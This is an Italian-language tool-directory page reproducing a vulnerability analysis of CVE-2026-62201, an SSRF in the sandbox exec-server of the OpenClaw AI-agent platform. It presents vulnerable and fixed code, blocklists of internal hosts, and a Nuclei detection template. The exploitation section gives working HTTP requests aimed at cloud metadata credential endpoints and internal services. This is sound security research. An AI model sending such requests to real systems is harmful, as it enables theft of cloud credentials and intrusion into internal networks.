Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-62201-OpenClaw-SSRF — Analisi approfondita di CVE-2026-62201: bypass della policy di rete exec-server sandbox di OpenClaw (SSRF). Causa principale, codice vulnerabile vs corretto, sfruttamento, rilevamento, rimedio. | Kitploit
Strumenti/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
Analisi delle VulnerabilitàExploitSicurezza WebSicurezza Cloud
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

Analisi approfondita di CVE-2026-62201: bypass della policy di rete exec-server sandbox di OpenClaw (SSRF). Causa principale, codice vulnerabile vs corretto, sfruttamento, rilevamento, rimedio.

Vedi Repository
0 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-62201 — Bypass delle Policy di Rete del Sandbox Exec-Server di OpenClaw (SSRF)

Gravità: Alta · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)


Panoramica della Vulnerabilità

CampoValore
AdvisoryGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
ProdottoOpenClaw (pacchetto npm openclaw) — componente sandbox exec-server
Versioni vulnerabiliopenclaw < 2026.6.6
Versione corretta2026.6.6 e successive
Causa principaleMancanza di validazione SSRF nell'helper HTTP integrato dell'exec-server (SANDBOX_HTTP_REQUEST_SCRIPT)
Commit di correzione21410d1c — "fix(codex): guard sandbox http requests"
Vettore d'attaccoHTTP POST all'handler http/request dell'exec-server con un URL controllato dall'attaccante
ImpattoUn chiamante con privilegi bassi raggiunge destinazioni di rete interne (metadata cloud, IP privati, servizi su localhost) che la policy di rete di OpenClaw dovrebbe bloccare

Riepilogo

OpenClaw è una piattaforma per agenti AI il cui sandbox exec-server espone un helper per richieste HTTP che gli agenti usano per effettuare chiamate web in uscita. Le versioni precedenti alla 2026.6.6 includevano questo helper senza alcuna protezione SSRF: un chiamante con livello di fiducia inferiore — qualsiasi agente, strumento o percorso di input che la piattaforma considera meno affidabile di un operatore gateway — poteva inviare un URL arbitrario e far sì che l'exec-server lo recuperasse dall'interno della rete host.

I controlli delle policy di rete applicati all'egresso diretto del sandbox non venivano applicati quando le richieste transitavano attraverso l'interfaccia HTTP dell'exec-server. Questa incoerenza è la vulnerabilità: l'exec-server agiva come un proxy HTTP senza restrizioni verso la rete interna.


Analisi Tecnica Approfondita

Il Componente: Sandbox Exec-Server

Quando OpenClaw esegue un agente Codex in un sandbox, avvia un exec-server locale (extensions/codex/src/app-server/sandbox-exec-server.ts) che ospita metodi JSON-RPC su un trasporto WebSocket/HTTP. Uno di questi metodi, http/request, consente all'agente di recuperare URL. L'implementazione instrada la richiesta attraverso un piccolo script Python incorporato — SANDBOX_HTTP_REQUEST_SCRIPT — che esegue il vero lavoro urllib.

L'handler della richiesta si trova in extensions/codex/src/app-server/sandbox-exec-server/http.ts.

Codice Vulnerabile ([email protected])

L'helper Python riceveva l'URL e controllava solo lo schema:

root@kitploit:~
# Da [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abbreviato)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request supporta solo URL http e https")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

Questo era l'unico controllo. Non c'erano:

  • ❌ Nessuna blocklist di hostname (localhost, *.internal, metadata.google.internal …)
  • ❌ Nessun rifiuto di IP privati / link-local / loopback
  • ❌ Nessun controllo di risoluzione DNS (l'hostname poteva risolversi in un IP interno)
  • ❌ Nessuna validazione dei redirect — un redirect verso http://169.254.169.254/ veniva seguito ciecamente

Risultato: {"method":"GET","url":"http://<host-interno>/"} restituiva il corpo della risposta interna al chiamante. L'exec-server era un proxy aperto verso la rete host.

La Correzione ([email protected])

Il commit 21410d1c ha aggiunto difesa in profondità su entrambi i livelli:

Livello 1 — Pre-controllo TypeScript (assertSandboxHttpRequestTargetAllowed in http.ts):

root@kitploit:~
function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

Livello 2 — Rafforzamento dell'helper Python (assert_url_allowed nello script incorporato):

  • Hostname bloccati: localhost, localhost.localdomain, metadata.google.internal, più suffissi *.localhost, *.local, *.internal
  • IP metadata cloud: 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • Reti IPv4/IPv6 bloccate: CGNAT 100.64.0.0/10, benchmarking 198.18.0.0/15, documentazione 2001:db8::/32 e altre
  • Classificazione ipaddress: loopback, privato, link-local, multicast, riservato, non specificato
  • Blocco della risoluzione DNS: l'hostname viene risolto prima della richiesta, ogni indirizzo risolto viene controllato e gli indirizzi verificati vengono poi vincolati per la connessione effettiva (previene il DNS-rebinding)
  • GuardedRedirectHandler: ogni hop di redirect esegue nuovamente assert_url_allowed prima di essere seguito
  • Estrazione IPv4 incorporato in IPv6: le forme mappate (::ffff:a.b.c.d), 6to4 (2002::/16), Teredo e ISATAP vengono decompresse e il loro IPv4 incorporato viene controllato
root@kitploit:~
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Hostname bloccato o indirizzo IP privato/interno/uso speciale")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Bloccato: risolve in un indirizzo IP privato/interno/uso speciale")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

Sfruttamento

Prerequisiti

  • Un'istanza OpenClaw in esecuzione < 2026.6.6 con l'exec-server del sandbox abilitato
  • Capacità di raggiungere l'endpoint HTTP dell'exec-server e invocare http/request (la piattaforma considera questo accesso come a bassi privilegi — ad es. un plugin, uno strumento o un percorso di input, non un operatore gateway)

Procedura Dettagliata

Passo 1 — Inviare una richiesta mirata a un servizio interno:

root@kitploit:~
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

Passo 2 — Risposta vulnerabile (HTTP 200):

L'exec-server recuperava l'URL interno e restituiva il corpo al chiamante — codificato in base64 come bodyBase64:

root@kitploit:~
{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

Decodificato:

root@kitploit:~
{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

Passo 3 — Risposta corretta (HTTP 502):

root@kitploit:~
{
  "error": "ValueError: Bloccato: risolve in un indirizzo IP privato/interno/uso speciale"
}

La destinazione interna non è raggiungibile attraverso l'exec-server nelle versioni corrette.

Esempi di Catene d'Attacco

  1. Esfiltrazione di metadata cloud — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → credenziali IAM
  2. Pivoting — raggiungere console di amministrazione, database e altri servizi interni nello spazio RFC 1918 che non dovevano mai essere raggiungibili dall'exec-server
  3. Servizi su localhost — http://127.0.0.1:<porta>/ per colpire interfacce di gestione non autenticate co-localizzate

Impatto e Motivazione del CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 Alta

  • PR:L — lo sfruttamento richiede accesso a bassi privilegi (un chiamante con livello di fiducia inferiore / percorso di input configurato), non privilegi da operatore gateway. La superficie d'attacco di rete è ciò che lo rende pericoloso: l'exec-server si trova all'interno della rete di deployment.
  • S:C — l'ambito cambia: la compromissione non è limitata all'exec-server, si estende alla rete interna (servizio metadata, servizi privati).
  • C:H / I:N / A:N — l'impatto principale è sulla riservatezza: esfiltrazione di dati da destinazioni interne. Non c'è impatto diretto di scrittura o disponibilità attraverso questo percorso.

L'inquadramento dell'advisory è importante: il modello di operatori fidati di OpenClaw presuppone che gli operatori gateway siano affidabili. Il bug è che una superficie a fiducia inferiore (plugin, strumenti, percorsi di input) poteva raggiungere destinazioni che la policy avrebbe dovuto bloccare.


Rilevamento

Nuclei

È disponibile un template di rilevamento — basato su OAST, che non richiede conoscenza preliminare della topologia interna:

root@kitploit:~
http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

Inviato upstream: projectdiscovery/nuclei-templates#17183

Segnali di Log e Telemetria

  • Richieste in uscita dal processo exec-server verso indirizzi RFC 1918 / link-local / loopback
  • Richieste POST a /exec/http (o equivalente JSON-RPC WebSocket) il cui corpo JSON contiene un campo url che punta a destinazioni private/interne
  • Richieste dall'exec-server all'IP metadata cloud (169.254.169.254, 100.100.100.200)
  • Egress anomalo: exec-server che si connette a porte/servizi con cui non dovrebbe avere alcuna relazione

Rimedio

  1. Aggiornare — npm install [email protected] (o successiva). La correzione aggiunge una validazione SSRF completa sia al confine TS che all'interno dell'helper Python.
  2. Limitare l'accesso all'exec-server — esporlo solo ad agenti/strumenti fidati; isolarlo tramite firewall dai percorsi di input a fiducia inferiore.
  3. Restringere le allowlist di strumenti e canali — privilegio minimo per ciò che gli agenti possono invocare.
  4. Controllo dell'egresso di rete — se non è possibile aggiornare immediatamente, bloccare a livello di rete l'host dell'exec-server dal raggiungere endpoint metadata e intervalli interni come controllo compensativo.
  5. Evitare gateway condivisi tra utenti non fidati fino alla correzione.

Cronologia della Divulgazione

  • Segnalato ai manutentori di OpenClaw (processo GitHub Security Advisory)
  • Advisory pubblicato: GHSA-mgvr-6gvw-3rgr — Gravità alta
  • CVE assegnato: CVE-2026-62201
  • Correzione rilasciata: 2026.6.6

Riferimenti

  • GHSA-mgvr-6gvw-3rgr — Advisory di Sicurezza OpenClaw
  • NVD — CVE-2026-62201
  • Advisory VulnCheck
  • Commit di correzione 21410d1c
  • Sorgente vulnerabile — sandbox-exec-server/http.ts

Divulgazione Responsabile

Questa ricerca è stata condotta su dati di vulnerabilità divulgati pubblicamente e su software distribuito in un laboratorio isolato. Non sono coinvolti sistemi di produzione reali, reti di terze parti o ricerca su zero-day. Tutti i PoC utilizzati qui sono richieste innocue di sola lettura.

Scarica lo strumento